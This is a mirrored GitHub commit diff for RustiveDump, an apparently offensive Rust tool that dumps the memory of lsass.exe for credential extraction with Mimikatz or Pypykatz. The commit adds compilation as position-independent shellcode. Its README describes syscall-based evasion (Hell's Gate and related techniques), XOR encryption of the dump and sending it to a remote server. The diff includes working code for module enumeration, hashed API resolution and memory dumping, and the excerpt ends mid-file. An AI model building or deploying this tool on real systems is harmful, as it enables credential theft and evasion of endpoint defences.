mirror of
https://github.com/safedv/RustiveDump
synced 2026-06-08 17:19:41 +00:00
feat: compiled as shellcode
This commit is contained in:
Generated
+6
-15
@@ -1,25 +1,16 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 3
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "RustiveDump"
|
||||
version = "0.1.0"
|
||||
version = "0.1.1"
|
||||
dependencies = [
|
||||
"libc-print",
|
||||
"panic-halt",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.159"
|
||||
name = "panic-halt"
|
||||
version = "0.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "561d97a539a36e26a9a5fad1ea11a3039a67714694aaa379433e580854bc3dc5"
|
||||
|
||||
[[package]]
|
||||
name = "libc-print"
|
||||
version = "0.1.23"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a4a660208db49e35faf57b37484350f1a61072f2a5becf0592af6015d9ddd4b0"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
checksum = "de96540e0ebde571dc55c73d60ef407c653844e6f9a1e2fdbd40c07b9252d812"
|
||||
|
||||
+4
-3
@@ -1,11 +1,11 @@
|
||||
[package]
|
||||
name = "RustiveDump"
|
||||
version = "0.1.0"
|
||||
version = "0.1.1"
|
||||
edition = "2021"
|
||||
authors = ["safedv"]
|
||||
|
||||
[dependencies]
|
||||
libc-print = { version = "0.1.23", optional = true }
|
||||
panic-halt = "0.2.0"
|
||||
|
||||
[profile.dev]
|
||||
panic = "abort"
|
||||
@@ -14,10 +14,11 @@ panic = "abort"
|
||||
panic = "abort"
|
||||
opt-level = "s"
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
|
||||
[features]
|
||||
default = []
|
||||
debug = []
|
||||
xor = []
|
||||
remote = []
|
||||
lsasrv = []
|
||||
verbose = ["dep:libc-print"]
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2024 safedv
|
||||
Copyright (c) 2024 Davide Valitutti
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
ENTRY(_start);
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x0000;
|
||||
|
||||
.text ALIGN(16) :
|
||||
{
|
||||
*(.text.prologue)
|
||||
*(.text*)
|
||||
*(.rodata*)
|
||||
*(.rdata*)
|
||||
*(.global*)
|
||||
}
|
||||
|
||||
/DISCARD/ :
|
||||
{
|
||||
*(.interp)
|
||||
*(.comment)
|
||||
*(.debug_frame)
|
||||
*(.bss)
|
||||
*(.pdata)
|
||||
*(.xdata)
|
||||
}
|
||||
}
|
||||
+28
-5
@@ -3,7 +3,8 @@ skip_core_tasks = true
|
||||
|
||||
[env]
|
||||
TARGET = "x86_64-pc-windows-gnu"
|
||||
RUSTFLAGS = "-C link-arg=-nostdlib -C link-arg=-Wl,--gc-sections -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start"
|
||||
PIC_RUSTFLAGS = "-C link-arg=-nostdlib -C codegen-units=1 -C link-arg=-fno-ident -C link-arg=-fpack-struct=8 -C link-arg=-Wl,--gc-sections -C link-arg=-falign-jumps=1 -C link-arg=-w -C link-arg=-falign-labels=1 -C relocation-model=pic -C link-arg=-Wl,-T./Linker.ld,--build-id=none -C link-arg=-Wl,-s,--no-seh,--enable-stdcall-fixup -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start"
|
||||
EXE_RUSTFLAGS = "-C link-arg=-nostdlib -C link-arg=-Wl,--gc-sections -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start"
|
||||
FEATURES = ""
|
||||
|
||||
[tasks.default]
|
||||
@@ -11,22 +12,44 @@ description = "Default task that builds the project."
|
||||
dependencies = ["build"]
|
||||
|
||||
[tasks.build]
|
||||
description = "Cleans, builds, and strips the project."
|
||||
description = "Clean, Builds, strips, and objcopy."
|
||||
dependencies = ["clean", "cargo-build", "strip"]
|
||||
|
||||
[tasks.clean]
|
||||
description = "Cleans the project and removes the binary file."
|
||||
script = [
|
||||
"cargo clean",
|
||||
"cargo clean"
|
||||
]
|
||||
|
||||
[tasks.cargo-build]
|
||||
description = "Build the project using cargo with custom rustflags and features."
|
||||
description = "Build the project using cargo with custom rustflags."
|
||||
command = "cargo"
|
||||
args = ["build", "--release", "--target", "${TARGET}", "--features", "${FEATURES}"]
|
||||
env = { "RUSTFLAGS" = "${RUSTFLAGS}" }
|
||||
env = { "RUSTFLAGS" = "${EXE_RUSTFLAGS}" }
|
||||
|
||||
[tasks.strip]
|
||||
description = "Strips unnecessary sections from the binary."
|
||||
command = "strip"
|
||||
args = ["-s", "--strip-unneeded", "-x", "-X", "target/x86_64-pc-windows-gnu/release/RustiveDump.exe"]
|
||||
|
||||
[tasks.pic]
|
||||
description = "Builds with PIC enabled."
|
||||
dependencies = ["cleanpic", "cargo-build-pic", "strip", "objcopy"]
|
||||
|
||||
[tasks.cleanpic]
|
||||
description = "Cleans the project and removes the binary file."
|
||||
script = [
|
||||
"cargo clean",
|
||||
"rm -f RustiveDump.bin"
|
||||
]
|
||||
|
||||
[tasks.cargo-build-pic]
|
||||
description = "Build the project using cargo with PIC enabled."
|
||||
command = "cargo"
|
||||
args = ["build", "--release", "--target", "${TARGET}", "--features", "${FEATURES}"]
|
||||
env = { "RUSTFLAGS" = "${PIC_RUSTFLAGS}" }
|
||||
|
||||
[tasks.objcopy]
|
||||
description = "Converts the binary to a .bin file using objcopy."
|
||||
command = "objcopy"
|
||||
args = ["-O", "binary", "target/x86_64-pc-windows-gnu/release/RustiveDump.exe", "RustiveDump.bin"]
|
||||
@@ -4,29 +4,34 @@
|
||||
|
||||
It creates a minimal minidump file from scratch, containing essential components like **SystemInfo**, **ModuleList**, and **Memory64List**, with support for **XOR encryption** and **remote transmission**.
|
||||
|
||||
Additionally, RustiveDump now implements the design of [Rustic64](https://github.com/safedv/Rustic64), allowing it to be compiled as **Position Independent Code (PIC)**, making it more versatile.
|
||||
|
||||
This project is a personal learning experience, focusing on leveraging native Windows APIs for memory dumping and building a minimalistic minidump file entirely from the ground up.
|
||||
|
||||
## **Key Features**
|
||||
|
||||
1. **NT System Calls for Everything**
|
||||
1. **NT System Calls for Everything**:
|
||||
RustiveDump bypasses standard APIs and leverages NT system calls for all its operations.
|
||||
|
||||
2. **No-Std and CRT-Independent**:
|
||||
RustiveDump is built using Rust's `no_std` feature, which removes reliance on Rust's standard library, and it's also **CRT library independent**. This resulting in a lean release build of only **18KB**.
|
||||
|
||||
3. **Indirect NT Syscalls**:
|
||||
3. **Position Independent Code (PIC)**:
|
||||
RustiveDump now implements the design of Rustic64, allowing it to be compiled as `shellcode (PIC)`, making it more versatile.
|
||||
|
||||
4. **Indirect NT Syscalls**:
|
||||
The tool uses indirect syscalls, retrieving system service numbers (SSN) with techniques like **Hell’s Gate**, **Halo's Gate**, and **Tartarus' Gate**.
|
||||
|
||||
4. **Lean Memory Dump**:
|
||||
5. **Lean Memory Dump**:
|
||||
RustiveDump generates a focused memory dump, containing only essential data (i.e., **SystemInfo**, **ModuleList**, and **Memory64List**), ensuring no bloated files—just enough to feed your memory analysis tools like **Mimikatz** or **Pypykatz**.
|
||||
|
||||
5. **XOR Encryption**:
|
||||
6. **XOR Encryption**:
|
||||
RustiveDump can encrypt the dump file using XOR before saving or transmitting it, adding an extra layer of security to the dumped memory.
|
||||
|
||||
6. **Remote File Transmission**:
|
||||
7. **Remote File Transmission**:
|
||||
The dump file can be sent directly to a remote server using **winsock** APIs calls
|
||||
|
||||
7. **Verbose Mode**:
|
||||
8. **Debug Mode**:
|
||||
The verbose mode provides detailed logs of each step, which can be enabled during the build process.
|
||||
|
||||
## **How it works**
|
||||
@@ -53,7 +58,7 @@ RustiveDump offers several configurable build options through **cargo make** to
|
||||
**Available Features:**
|
||||
|
||||
- **xor**: Encrypts the dump file using XOR encryption.
|
||||
- **verbose**: Enables detailed logs for each step of the process.
|
||||
- **debug**: Enables detailed logs for each step of the process.
|
||||
- **remote**: Sends the dump file to a remote server via Winsock.
|
||||
- **lsasrv**: Filters the memory dump to include only the `lsasrv.dll` module from **lsass.exe**.
|
||||
|
||||
@@ -68,8 +73,14 @@ To build RustiveDump with different combinations of features, use the following
|
||||
```
|
||||
|
||||
- **Build with specific features**
|
||||
|
||||
```bash
|
||||
cargo make --env FEATURES=xor,remote,lsasrv,verbose
|
||||
cargo make --env FEATURES=xor,remote,lsasrv,debug
|
||||
```
|
||||
|
||||
- **Build as Shellcode (PIC)**
|
||||
```bash
|
||||
cargo make --env FEATURES=xor,remote pic
|
||||
```
|
||||
|
||||
## **Memory Dump File Structure**
|
||||
@@ -90,7 +101,7 @@ Always follow ethical guidelines and legal frameworks when doing security resear
|
||||
|
||||
## **Credits**
|
||||
|
||||
- Inspired by [NativeDump](https://github.com/ricardojoserf/NativeDump). Thanks to the author for sharing their work.
|
||||
- Inspired by [NativeDump](https://github.com/ricardojoserf/NativeDump) by [ricardojoserf](https://github.com/ricardojoserf). Thanks to the author for sharing their work.
|
||||
|
||||
## **Contributions**
|
||||
|
||||
|
||||
@@ -103,8 +103,3 @@ pub extern "C" fn strlen(s: *const u8) -> usize {
|
||||
}
|
||||
count
|
||||
}
|
||||
|
||||
/// A static variable required by some environments to indicate floating-point usage.
|
||||
/// This is a placeholder to ensure compatibility.
|
||||
#[export_name = "_fltused"]
|
||||
static _FLTUSED: i32 = 0;
|
||||
|
||||
@@ -1,93 +0,0 @@
|
||||
use core::ffi::c_void;
|
||||
use core::{
|
||||
cell::UnsafeCell,
|
||||
ptr::null_mut,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
|
||||
use super::ldrapi::{ldr_function, ldr_module};
|
||||
|
||||
pub type WriteFile = unsafe extern "system" fn(
|
||||
hFile: *mut c_void,
|
||||
lpBuffer: *const u8,
|
||||
nNumberOfBytesToWrite: u32,
|
||||
lpNumberOfBytesWritten: *mut u32,
|
||||
lpOverlapped: *mut c_void,
|
||||
) -> i32;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct K32 {
|
||||
pub write_file: WriteFile,
|
||||
}
|
||||
|
||||
impl K32 {
|
||||
pub fn new() -> Self {
|
||||
K32 {
|
||||
write_file: unsafe { core::mem::transmute(null_mut::<c_void>()) },
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static INIT_K32: AtomicBool = AtomicBool::new(false);
|
||||
|
||||
pub static mut K32_G: UnsafeCell<Option<K32>> = UnsafeCell::new(None);
|
||||
|
||||
pub unsafe fn k32() -> &'static K32 {
|
||||
ensure_initialized();
|
||||
return K32_G.get().as_ref().unwrap().as_ref().unwrap();
|
||||
}
|
||||
|
||||
/// Function to ensure that initialization is performed if it hasn't been already.
|
||||
fn ensure_initialized() {
|
||||
unsafe {
|
||||
if !INIT_K32.load(Ordering::Acquire) {
|
||||
init_k32();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe fn init_k32() {
|
||||
if !INIT_K32.load(Ordering::Acquire) {
|
||||
let mut k32 = K32::new();
|
||||
|
||||
// Resolve the base address of `kernel32.dll` using its hash (0x6ddb9555).
|
||||
let kernel32_base = ldr_module(0x6ddb9555);
|
||||
|
||||
// Resolve the address of `WriteFile` function from `kernel32.dll` using its hash (0xf1d207d0).
|
||||
let k_write_file_addr = ldr_function(kernel32_base, 0xf1d207d0);
|
||||
|
||||
// Cast the resolved address to a callable function of type `WriteFile`.
|
||||
k32.write_file = core::mem::transmute(k_write_file_addr);
|
||||
|
||||
*K32_G.get() = Some(k32);
|
||||
|
||||
INIT_K32.store(true, Ordering::Release);
|
||||
}
|
||||
}
|
||||
/// Global mutable instance of the agent.
|
||||
|
||||
/// Implements a low-level `_write` function that writes data to a file descriptor (typically `stdout` or `stderr`).
|
||||
/// This function resolves the `WriteFile` function from `kernel32.dll` and uses it to perform the actual write.
|
||||
#[no_mangle]
|
||||
extern "C" fn _write(_fd: i32, buf: *const u8, count: usize) -> isize {
|
||||
unsafe {
|
||||
let mut written: u32 = 0; // Variable to store the number of bytes written.
|
||||
let handle = -11i32 as u32; // File handle for `stdout` or `stderr` (often -11 represents `stdout` on Windows).
|
||||
|
||||
// Call `WriteFile` with the handle, buffer, and count of bytes to write.
|
||||
let ntstatus = (k32().write_file)(
|
||||
handle as *mut c_void, // File handle
|
||||
buf, // Buffer containing the data to write
|
||||
count as u32, // Number of bytes to write
|
||||
&mut written, // Pointer to the variable that will receive the number of bytes written
|
||||
core::ptr::null_mut(), // No overlapped structure
|
||||
);
|
||||
|
||||
// Return the number of bytes written or an error code (if `ntstatus` is negative).
|
||||
if ntstatus < 0 {
|
||||
ntstatus as isize
|
||||
} else {
|
||||
written as isize
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,9 @@
|
||||
use super::utils::{dbj2_hash, get_cstr_len};
|
||||
|
||||
use crate::ntapi::def::{
|
||||
find_peb, ImageDosHeader, ImageExportDirectory, ImageNtHeaders, LoaderDataTableEntry,
|
||||
PebLoaderData, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE,
|
||||
use crate::{
|
||||
common::utils::{dbj2_hash, get_cstr_len},
|
||||
native::ntdef::{
|
||||
find_peb, ImageDosHeader, ImageExportDirectory, ImageNtHeaders, LoaderDataTableEntry,
|
||||
PebLoaderData, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE,
|
||||
},
|
||||
};
|
||||
|
||||
use core::ptr::null_mut;
|
||||
@@ -90,7 +91,7 @@ pub unsafe fn ldr_function(module_base: *mut u8, function_hash: usize) -> *mut u
|
||||
}
|
||||
|
||||
// Get the export directory from the NT headers
|
||||
let data_directory = &(*p_img_nt_headers).optional_header.data_directory[0]; // Assuming IMAGE_DIRECTORY_ENTRY_EXPORT is 0
|
||||
let data_directory = &(*p_img_nt_headers).optional_header.data_directory[0];
|
||||
let export_directory =
|
||||
(module_base.offset(data_directory.virtual_address as isize)) as *mut ImageExportDirectory;
|
||||
if export_directory.is_null() {
|
||||
|
||||
@@ -1,9 +1,3 @@
|
||||
pub mod crtapi;
|
||||
pub mod ldrapi;
|
||||
pub mod utils;
|
||||
|
||||
#[cfg(feature = "verbose")]
|
||||
pub mod debug;
|
||||
|
||||
#[cfg(feature = "xor")]
|
||||
pub mod xor;
|
||||
|
||||
@@ -1,9 +1,3 @@
|
||||
#[cfg(not(feature = "remote"))]
|
||||
use alloc::string::String;
|
||||
|
||||
#[cfg(not(feature = "remote"))]
|
||||
use crate::ntapi::def::UnicodeString;
|
||||
|
||||
/// Computes the DJB2 hash for the given buffer
|
||||
pub fn dbj2_hash(buffer: &[u8]) -> u32 {
|
||||
let mut hsh: u32 = 5381;
|
||||
@@ -61,30 +55,3 @@ impl IsNull for u16 {
|
||||
*self == 0
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(feature = "remote"))]
|
||||
pub fn unicodestring_to_string(unicode_string: &UnicodeString) -> Option<String> {
|
||||
if unicode_string.length == 0 || unicode_string.buffer.is_null() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let slice = unsafe {
|
||||
core::slice::from_raw_parts(unicode_string.buffer, (unicode_string.length / 2) as usize)
|
||||
};
|
||||
|
||||
String::from_utf16(slice).ok()
|
||||
}
|
||||
|
||||
#[cfg(feature = "verbose")]
|
||||
#[macro_export]
|
||||
macro_rules! debug_println {
|
||||
($($arg:tt)*) => ({
|
||||
libc_println!($($arg)*);
|
||||
});
|
||||
}
|
||||
|
||||
#[cfg(not(feature = "verbose"))]
|
||||
#[macro_export]
|
||||
macro_rules! debug_println {
|
||||
($($arg:tt)*) => {};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
use core::{ffi::c_void, ptr::null_mut};
|
||||
|
||||
use crate::{
|
||||
common::ldrapi::{ldr_function, ldr_module},
|
||||
get_instance,
|
||||
};
|
||||
|
||||
pub type WriteFile = unsafe extern "system" fn(
|
||||
hFile: *mut c_void,
|
||||
lpBuffer: *const c_void,
|
||||
nNumberOfBytesToWrite: u32,
|
||||
lpNumberOfBytesWritten: *mut u32,
|
||||
lpOverlapped: *mut c_void,
|
||||
) -> i32;
|
||||
|
||||
pub struct Kernel32 {
|
||||
pub module_hash: u32,
|
||||
pub module_base: *mut u8,
|
||||
pub write_file: WriteFile,
|
||||
}
|
||||
|
||||
impl Kernel32 {
|
||||
pub fn new() -> Self {
|
||||
Kernel32 {
|
||||
module_hash: 0x6ddb9555,
|
||||
module_base: null_mut(),
|
||||
write_file: unsafe { core::mem::transmute(null_mut::<c_void>()) },
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe impl Sync for Kernel32 {}
|
||||
unsafe impl Send for Kernel32 {}
|
||||
|
||||
pub fn init_kernel32_funcs() {
|
||||
unsafe {
|
||||
let instance = get_instance().unwrap();
|
||||
|
||||
//Kernel32.dll
|
||||
instance.k32.module_base = ldr_module(instance.k32.module_hash);
|
||||
|
||||
//WriteFile
|
||||
let k_write_file_addr = ldr_function(instance.k32.module_base, 0xf1d207d0);
|
||||
instance.k32.write_file = core::mem::transmute(k_write_file_addr);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
pub mod k32;
|
||||
|
||||
use alloc::string::String;
|
||||
use alloc::string::ToString;
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! debug_println {
|
||||
// Case 1: Just printing a message without any values
|
||||
($msg:expr) => {{
|
||||
let mut bytes_written: u32 = 0;
|
||||
unsafe {
|
||||
($crate::instance::get_instance().unwrap().k32.write_file)(
|
||||
-11i32 as u32 as *mut core::ffi::c_void, // Handle for STD_OUTPUT_HANDLE
|
||||
$msg.as_ptr() as *const core::ffi::c_void, // Pointer to the message
|
||||
$msg.len() as u32, // Length of the message
|
||||
&mut bytes_written, // Bytes written output
|
||||
core::ptr::null_mut(),
|
||||
);
|
||||
}
|
||||
}};
|
||||
|
||||
// Case 2: Printing an NTSTATUS value (i32) in hex, always
|
||||
($msg:expr, $val:expr) => {{
|
||||
// Format the NTSTATUS value as hex
|
||||
let formatted_val = $crate::debug::itoa_hex_i32($val); // Convert i32 directly to hex
|
||||
|
||||
// Concatenate the message and the formatted value
|
||||
let full_msg = [$msg, &formatted_val, "\n"].concat();
|
||||
let mut bytes_written: u32 = 0;
|
||||
|
||||
unsafe {
|
||||
($crate::instance::get_instance().unwrap().k32.write_file)(
|
||||
-11i32 as u32 as *mut core::ffi::c_void, // Handle for STD_OUTPUT_HANDLE
|
||||
full_msg.as_ptr() as *const core::ffi::c_void, // Pointer to the full message
|
||||
full_msg.len() as u32, // Length of the full message
|
||||
&mut bytes_written, // Bytes written output
|
||||
core::ptr::null_mut(),
|
||||
);
|
||||
}
|
||||
}};
|
||||
|
||||
// Case 3: Printing a usize value in decimal or hex
|
||||
($msg:expr, $val:expr, $as_hex:expr) => {{
|
||||
// Format the value as decimal or hexadecimal based on $as_hex
|
||||
let formatted_val = if $as_hex {
|
||||
$crate::debug::itoa_hex($val as usize) // Convert usize to hex
|
||||
} else {
|
||||
$crate::debug::itoa($val as usize) // Convert usize to decimal
|
||||
};
|
||||
|
||||
// Concatenate the message and the formatted value
|
||||
let full_msg = [$msg, &formatted_val, "\n"].concat();
|
||||
let mut bytes_written: u32 = 0;
|
||||
|
||||
unsafe {
|
||||
($crate::instance::get_instance().unwrap().k32.write_file)(
|
||||
-11i32 as u32 as *mut core::ffi::c_void, // Handle for STD_OUTPUT_HANDLE
|
||||
full_msg.as_ptr() as *const core::ffi::c_void, // Pointer to the full message
|
||||
full_msg.len() as u32, // Length of the full message
|
||||
&mut bytes_written, // Bytes written output
|
||||
core::ptr::null_mut(),
|
||||
);
|
||||
}
|
||||
}};
|
||||
}
|
||||
|
||||
// Helper function to convert usize to decimal string
|
||||
pub fn itoa(mut value: usize) -> String {
|
||||
if value == 0 {
|
||||
return "0".to_string(); // Special case for 0
|
||||
}
|
||||
|
||||
let mut result = String::new();
|
||||
|
||||
// Convert number to decimal string
|
||||
while value > 0 {
|
||||
let digit = (value % 10) as u8;
|
||||
result.push((digit + b'0') as char); // Add the corresponding ASCII character
|
||||
value /= 10;
|
||||
}
|
||||
|
||||
// Reverse the string since it's built backwards and return the final result
|
||||
result.chars().rev().collect()
|
||||
}
|
||||
|
||||
/// Converts a 32-bit integer (i32) to a hexadecimal string in uppercase.
|
||||
pub fn itoa_hex_i32(value: i32) -> String {
|
||||
let hex_digits = b"0123456789ABCDEF"; // Array of uppercase hexadecimal digits.
|
||||
let mut result = String::new();
|
||||
let mut num = value as u32; // Treat the value as u32 while preserving the bit pattern of i32.
|
||||
|
||||
if num == 0 {
|
||||
return "0x0".to_string(); // Special case for the value 0.
|
||||
}
|
||||
|
||||
// Convert the number to hexadecimal by repeatedly dividing by 16 and collecting the remainder.
|
||||
while num > 0 {
|
||||
let digit = (num % 16) as usize;
|
||||
result.push(hex_digits[digit] as char);
|
||||
num /= 16;
|
||||
}
|
||||
|
||||
// Pad with zeros to ensure the hexadecimal number is represented by 8 digits.
|
||||
// NTSTATUS codes are always represented with 8 characters in hexadecimal.
|
||||
while result.len() < 8 {
|
||||
result.push('0');
|
||||
}
|
||||
|
||||
// Append the "0x" prefix at the beginning.
|
||||
result.push_str("x0");
|
||||
|
||||
// Reverse the string to correct the order (since we built it from the least significant digit).
|
||||
result.chars().rev().collect()
|
||||
}
|
||||
|
||||
// Helper function to convert a memory address (pointer) to a hexadecimal string with 0x prefix and uppercase
|
||||
pub fn itoa_hex(value: usize) -> String {
|
||||
let hex_digits = b"0123456789ABCDEF"; // Uppercase hexadecimal digits
|
||||
let mut result = String::new();
|
||||
let mut num = value;
|
||||
|
||||
if num == 0 {
|
||||
return "0x0".to_string(); // Special case for 0
|
||||
}
|
||||
|
||||
// Convert number to hexadecimal
|
||||
while num > 0 {
|
||||
let digit = (num % 16) as usize;
|
||||
result.push(hex_digits[digit] as char);
|
||||
num /= 16;
|
||||
}
|
||||
|
||||
// Add the '0x' prefix
|
||||
result.push_str("x0");
|
||||
|
||||
// Reverse the string since it's built backwards and return the final result
|
||||
result.chars().rev().collect()
|
||||
}
|
||||
-108
@@ -1,108 +0,0 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
use alloc::{
|
||||
string::{String, ToString},
|
||||
vec::Vec,
|
||||
};
|
||||
|
||||
use crate::{
|
||||
debug_println,
|
||||
mdfile::{MemoryRegion, ModuleInfo},
|
||||
ntapi::{
|
||||
def::{MEM_COMMIT, PAGE_NOACCESS},
|
||||
memory::{query_memory_info, read_memory},
|
||||
},
|
||||
};
|
||||
|
||||
/// Traverses and dumps the memory regions of a process, storing the memory regions and the memory dump.
|
||||
///
|
||||
/// This function iterates through the memory space of a process, queries memory information,
|
||||
/// reads the memory, and dumps it into the provided vectors.
|
||||
pub unsafe fn dump_memory_regions(
|
||||
process_handle: *mut c_void,
|
||||
module_info_list: &mut Vec<ModuleInfo>,
|
||||
memory64list: &mut Vec<MemoryRegion>,
|
||||
memory_regions: &mut Vec<u8>,
|
||||
) {
|
||||
// Initialize variables for memory region traversal and dumping.
|
||||
let mut memory_address: usize = 0; // Start memory address for dumping.
|
||||
let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // The maximum user-mode address.
|
||||
let mut tmp_module_base_name = String::new(); // Auxiliary variable to store the module's base name.
|
||||
let mut tmp_memory_region_size = 0usize; // To track the size of the memory regions.
|
||||
|
||||
// Loop through the process's memory space until the maximum address is reached.
|
||||
while memory_address < max_memory_address {
|
||||
// Query information about the current memory region.
|
||||
if let Some(memory_info) = query_memory_info(process_handle, memory_address as *mut c_void)
|
||||
{
|
||||
// Check if the memory region is committed and accessible.
|
||||
if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT {
|
||||
// Try to match the current region with known modules based on their base addresses.
|
||||
let matching_object = module_info_list
|
||||
.iter_mut()
|
||||
.find(|obj| obj.base_name == tmp_module_base_name);
|
||||
|
||||
// If the region size is 0x1000 and does not match a module, update the module info.
|
||||
if memory_info.region_size == 0x1000
|
||||
&& memory_info.base_address as usize
|
||||
!= matching_object
|
||||
.as_ref()
|
||||
.map(|obj| obj.base_address)
|
||||
.unwrap_or(0)
|
||||
{
|
||||
// If a module was found, update its region size.
|
||||
if let Some(module) = matching_object {
|
||||
module.region_size = tmp_memory_region_size;
|
||||
}
|
||||
|
||||
// Update auxiliary name and size based on the current memory region.
|
||||
tmp_module_base_name = module_info_list
|
||||
.iter()
|
||||
.find(|module| module.base_address == memory_info.base_address as usize)
|
||||
.map(|module| module.base_name.clone())
|
||||
.unwrap_or_else(|| "Unknown".to_string());
|
||||
tmp_memory_region_size = memory_info.region_size as usize;
|
||||
} else {
|
||||
// Accumulate the region size.
|
||||
tmp_memory_region_size += memory_info.region_size as usize;
|
||||
}
|
||||
|
||||
// Read the memory region if it's valid and dump it.
|
||||
if let Some(buffer) = read_memory(
|
||||
process_handle as *mut c_void,
|
||||
memory_info.base_address as *mut c_void,
|
||||
memory_info.region_size as usize,
|
||||
) {
|
||||
// Append the read memory region to the dump.
|
||||
memory_regions.extend_from_slice(&buffer);
|
||||
// Add the memory region to the list of dumped regions.
|
||||
memory64list.push(MemoryRegion {
|
||||
base_address: memory_address,
|
||||
region_size: memory_info.region_size as usize,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Move to the next memory region by incrementing the memory address.
|
||||
memory_address += memory_info.region_size as usize;
|
||||
} else {
|
||||
// If querying the memory fails, print an error message and break out of the loop.
|
||||
debug_println!(
|
||||
"[-] Failed to query memory at address: 0x{:X}",
|
||||
memory_address
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Update the region size of the last matched module.
|
||||
if let Some(module) = module_info_list
|
||||
.iter_mut()
|
||||
.find(|module| module.base_name == tmp_module_base_name)
|
||||
{
|
||||
module.region_size = tmp_memory_region_size;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,218 @@
|
||||
use core::ffi::c_void;
|
||||
|
||||
use alloc::{
|
||||
string::{String, ToString},
|
||||
vec::Vec,
|
||||
};
|
||||
|
||||
use crate::{
|
||||
common::utils::dbj2_hash,
|
||||
debug_println,
|
||||
instance::get_instance,
|
||||
native::{
|
||||
memory::{query_memory_info, read_memory, read_remote_int_ptr, read_remote_wstr},
|
||||
ntdef::{ProcessBasicInformation, MEM_COMMIT, PAGE_NOACCESS},
|
||||
},
|
||||
};
|
||||
|
||||
use super::mdfile::{MemoryRegion, ModuleInfo};
|
||||
|
||||
/// Retrieves the list of loaded modules in a process's memory.
|
||||
///
|
||||
/// Uses the process handle to query the PEB (Process Environment Block) and retrieves
|
||||
/// information about the loaded modules in the process. Optionally filters modules by a hash.
|
||||
pub fn get_modules_info(process_handle: *mut c_void, module_hash: Option<u32>) -> Vec<ModuleInfo> {
|
||||
let mut process_information: ProcessBasicInformation = unsafe { core::mem::zeroed() };
|
||||
let mut return_length: u32 = 0;
|
||||
|
||||
// Query the process information to get the PEB base address.
|
||||
let status = unsafe {
|
||||
get_instance()
|
||||
.unwrap()
|
||||
.ntdll
|
||||
.nt_query_information_process
|
||||
.run(
|
||||
process_handle as *mut c_void,
|
||||
0, // ProcessBasicInformation
|
||||
&mut process_information as *mut _ as *mut c_void,
|
||||
core::mem::size_of::<ProcessBasicInformation>() as u32,
|
||||
&mut return_length,
|
||||
)
|
||||
};
|
||||
|
||||
if status != 0 {
|
||||
panic!("[-] Failed to query process information.");
|
||||
}
|
||||
|
||||
debug_println!(
|
||||
"[+] PEB Base Address: ",
|
||||
process_information.peb_base_address as usize,
|
||||
true
|
||||
);
|
||||
|
||||
// Compute the address of the loader's data structure from the PEB.
|
||||
let ldr_offset = 0x18;
|
||||
let ldr_pointer = (process_information.peb_base_address as usize + ldr_offset) as *mut c_void;
|
||||
let ldr_address = read_remote_int_ptr(process_handle, ldr_pointer);
|
||||
|
||||
// Get the address of the module list from the loader data.
|
||||
let in_initialization_order_module_list_offset = 0x30;
|
||||
let module_list_address =
|
||||
(ldr_address + in_initialization_order_module_list_offset) as *mut c_void;
|
||||
let mut next_flink = read_remote_int_ptr(process_handle, module_list_address);
|
||||
|
||||
// Offsets within the LDR module structure.
|
||||
let flink_dllbase_offset = 0x20;
|
||||
let flink_buffer_fulldllname_offset = 0x40;
|
||||
let flink_buffer_offset = 0x50;
|
||||
|
||||
let mut module_info_arr: Vec<ModuleInfo> = Vec::new();
|
||||
let mut dll_base = 1337;
|
||||
|
||||
// Loop through the module list until the base address is zero.
|
||||
while dll_base != 0 {
|
||||
next_flink -= 0x10;
|
||||
|
||||
// Read the base address of the module.
|
||||
dll_base = read_remote_int_ptr(
|
||||
process_handle,
|
||||
(next_flink + flink_dllbase_offset) as *mut c_void,
|
||||
);
|
||||
if dll_base == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
// Read the base and full DLL names from memory.
|
||||
let base_dll_name_ptr = read_remote_int_ptr(
|
||||
process_handle,
|
||||
(next_flink + flink_buffer_offset) as *mut c_void,
|
||||
) as *mut c_void;
|
||||
let base_dll_name = read_remote_wstr(process_handle, base_dll_name_ptr);
|
||||
|
||||
let full_dll_name_ptr = read_remote_int_ptr(
|
||||
process_handle,
|
||||
(next_flink + flink_buffer_fulldllname_offset) as *mut c_void,
|
||||
) as *mut c_void;
|
||||
